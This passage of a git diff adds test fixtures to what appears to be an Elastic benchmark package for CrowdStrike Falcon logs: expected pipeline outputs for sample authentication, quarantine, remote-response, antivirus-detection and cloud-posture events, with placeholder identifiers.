"2020-07-20T12:26:10.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "trace_id", + "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" + }, + { + "Key": "actor_user", + "ValueString": "first.last@company.com" + }, + { + "Key": "actor_user_uuid", + "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" + }, + { + "Key": "actor_cid", + "ValueString": "123456a1ab1a12abc12ab1234abcd12a" + }, + { + "Key": "target_user", + "ValueString": "first.last@company.com" + } + ], + "OperationName": "saml2Assert", + "Success": true + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "AuthActivityAuditEvent", + "offset": 70509, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "saml2Assert" + ], + "category": [ + "iam" + ], + "created": "2020-07-20T12:26:10.093Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70509,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1595247970093,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"first.last@company.com\",\n \"UserIp\": \"67.43.156.15\",\n \"OperationName\": \"saml2Assert\",\n \"ServiceName\": \"Crowdstrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1595247970,\n \"AuditKeyValues\": [\n {\n \"Key\": \"trace_id\",\n \"ValueString\": \"b0b33836-555c-4e0e-a5ef-d368f6799f6b\"\n },\n {\n \"Key\": \"actor_user\",\n \"ValueString\": \"first.last@company.com\"\n },\n {\n \"Key\": \"actor_user_uuid\",\n \"ValueString\": \"123ab123-abc1-12a1-12a1-12a1ab12a1a1\"\n },\n {\n \"Key\": \"actor_cid\",\n \"ValueString\": \"123456a1ab1a12abc12ab1234abcd12a\"\n },\n {\n \"Key\": \"target_user\",\n \"ValueString\": \"first.last@company.com\"\n }\n ]\n }\n}", + "outcome": "success" + }, + "message": "Crowdstrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "67.43.156.15" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "source": { + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.15" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-07-20T12:41:25.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "ServiceName": "quarantined_files" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "UserActivityAuditEvent", + "offset": 70683, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2020-07-20T12:41:25.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70683,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1595248885000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"Crowdstrike\",\n \"UserIp\": \"\",\n \"OperationName\": \"quarantined_file_update\",\n \"ServiceName\": \"quarantined_files\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"quarantined_file_id\",\n \"ValueString\": \"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21\"\n },\n {\n \"Key\": \"action_taken\",\n \"ValueString\": \"quarantined\"\n }\n ],\n \"UTCTimestamp\": 1595248885\n }\n}", + "type": [ + "change" + ] + }, + "message": "quarantined_file_update", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "Crowdstrike" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "Crowdstrike" + } + }, + { + "@timestamp": "2020-07-17T17:14:53.000Z", + "crowdstrike": { + "event": { + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 57217, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-07-17T17:14:53.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57217,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n \"eventCreationTime\": 1595006093000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n \"HostnameField\": \"TESTDEVICE01\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1595006093\n }\n}", + "start": "2020-07-17T17:14:53.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "TESTDEVICE01" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-07-17T17:28:19.000Z", + "crowdstrike": { + "event": { + "Commands": [ + "cd \\Program Files (x86)\\Symantec", + "ls .", + "cd \\Program Files (x86)", + "ls .", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "restart", + "restart -Confirm" + ], + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "RemoteResponseSessionEndEvent", + "offset": 57269, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_end_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-07-17T17:28:19.000Z", + "end": "2020-07-17T17:28:19.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57269,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1595006899000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n \"HostnameField\": \"TESTDEVICE01\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1595006899,\n \"Commands\": [\n \"cd \\\\Program Files (x86)\\\\Symantec\",\n \"ls .\",\n \"cd \\\\Program Files (x86)\",\n \"ls .\",\n \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n \"reg set HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```\",\n \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n \"restart\",\n \"restart -Confirm\"\n ]\n }\n}", + "type": [ + "end" + ] + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "Remote response session ended.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "TESTDEVICE01" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-07-17T16:11:31.000Z", + "crowdstrike": { + "event": { + "ExecutablesWritten": [ + { + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + } + ], + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", + "IOCType": "hash_sha256", + "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "MACAddress": "54-ad-d4-d2-a8-0b", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", + "PatternDispositionFlags": { + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "InddetMask": false, + "Indicator": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false + }, + "PatternDispositionValue": 2304, + "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", + "Severity": 2, + "SeverityName": "Low" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "DetectionSummaryEvent", + "offset": 57047, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2020-07-17T16:11:31.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57047,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1595002291000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1595002290,\n \"ProcessEndTime\": 1595002290,\n \"ProcessId\": 663790158277,\n \"ParentProcessId\": 627311656469,\n \"ComputerName\": \"TESTDEVICE01\",\n \"UserName\": \"First.last\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"filename.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n \"SHA1String\": \"0000000000000000000000000000000000000000\",\n \"MachineDomain\": \"NA\",\n \"ExecutablesWritten\": [\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n \"LocalIP\": \"10.1.190.117\",\n \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false\n },\n \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\"\n }\n}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "0ab1235adca04aef6239f5496ef0a5df", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb" + }, + "name": "filename.exe", + "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path" + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\ProgramData\\file\\path\\filename.exe\"" + ], + "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"", + "end": "2020-07-17T16:11:30.000Z", + "entity_id": "663790158277", + "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"", + "name": "filename.exe", + "parent": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "627311656469", + "executable": "C:\\Windows\\Explorer.EXE", + "pid": 627311656469 + }, + "pid": 663790158277, + "start": "2020-07-17T16:11:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "0ab1235adca04aef6239f5496ef0a5df" + ], + "hosts": [ + "TESTDEVICE01" + ], + "ip": [ + "10.1.190.117" + ], + "user": [ + "First.last" + ] + }, + "rule": { + "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", + "name": "NGAV" + }, + "source": { + "ip": "10.1.190.117" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Machine Learning" + ] + }, + "technique": { + "name": [ + "Sensor-based ML" + ] + } + }, + "user": { + "name": "First.last" + } + }, + { + "@timestamp": "2020-07-17T16:11:31.000Z", + "crowdstrike": { + "event": { + "ExecutablesWritten": [ + { + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + }, + { + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder", + "Timestamp": 1595002290 + } + ], + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", + "IOCType": "hash_sha256", + "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "MACAddress": "54-ad-d4-d2-a8-0b", + "MitreAttack": [ + { + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML" + } + ], + "Objective": "Falcon Detection Method", + "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", + "PatternDispositionFlags": { + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "InddetMask": false, + "Indicator": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false + }, + "PatternDispositionValue": 2304, + "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", + "Severity": 2, + "SeverityName": "Low" + }, + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "eventType": "DetectionSummaryEvent", + "offset": 57047, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2020-07-17T16:11:31.000Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57047,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1595002291000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1595002290,\n \"ProcessEndTime\": 1595002290,\n \"ProcessId\": 663790158277,\n \"ParentProcessId\": 627311656469,\n \"ComputerName\": \"TESTDEVICE01\",\n \"UserName\": \"First.last\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"filename.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n \"SHA1String\": \"0000000000000000000000000000000000000000\",\n \"MachineDomain\": \"NA\",\n \"ExecutablesWritten\": [\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n },\n {\n \"Timestamp\": 1595002290,\n \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n \"LocalIP\": \"10.1.190.117\",\n \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false\n },\n \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\",\n \"MitreAttack\": [\n {\n \"Tactic\": \"Machine Learning\",\n \"Technique\": \"Sensor-based ML\"\n }\n ]\n }\n}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "0ab1235adca04aef6239f5496ef0a5df", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb" + }, + "name": "filename.exe", + "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path" + }, + "host": { + "name": "TESTDEVICE01" + }, + "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\ProgramData\\file\\path\\filename.exe\"" + ], + "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"", + "end": "2020-07-17T16:11:30.000Z", + "entity_id": "663790158277", + "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"", + "name": "filename.exe", + "parent": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "627311656469", + "executable": "C:\\Windows\\Explorer.EXE", + "pid": 627311656469 + }, + "pid": 663790158277, + "start": "2020-07-17T16:11:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "0ab1235adca04aef6239f5496ef0a5df" + ], + "hosts": [ + "TESTDEVICE01" + ], + "ip": [ + "10.1.190.117" + ], + "user": [ + "First.last" + ] + }, + "rule": { + "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", + "name": "NGAV" + }, + "source": { + "ip": "10.1.190.117" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Machine Learning" + ] + }, + "technique": { + "name": [ + "Sensor-based ML" + ] + } + }, + "user": { + "name": "First.last" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log new file mode 100644 index 0000000000..898afc6415 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log @@ -0,0 +1,31 @@ +{ + "metadata": { + + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "offset": 54712611, + "eventType": "CSPMSearchStreamingEvent", + "eventCreationTime": 1663009688832, + "version": "1.0" + }, + "event": { + "AccountId": "XXXXXXXXXXXX", + "Region": "us-west-2", + "ResourceId": "i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceName": "", + "ResourceCreateTime": 0, + "PolicyStatement": "EC2 NACL configured for global ingress", + "PolicyId": 26, + "Severity": 1, + "SeverityName": "High", + "CloudPlatform": "AWS", + "CloudService": "EC2", + "Disposition": "Failed", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", + "Tags": "SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111", + "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", + "Timestamp": 1663009688832 + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json new file mode 100644 index 0000000000..d88d9aef3d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json @@ -0,0 +1,73 @@ +{ + "expected": [ + { + "@timestamp": "2022-09-12T19:08:08.832Z", + "cloud": { + "account": { + "id": "XXXXXXXXXXXX" + }, + "provider": "AWS", + "region": "us-west-2", + "service": { + "name": "EC2" + } + }, + "crowdstrike": { + "event": { + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "PolicyId": 26, + "ResourceAttributes": { + "ACL ID": "acl - 005e6 bb98e75ac17e", + "Instance ID": "i - 0108 fce80eXXXXXXX", + "Instance State": "running", + "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", + "Platform": "Linux", + "VPC ID": "vpc - 0e886040 c27d9f526" + }, + "ResourceId": 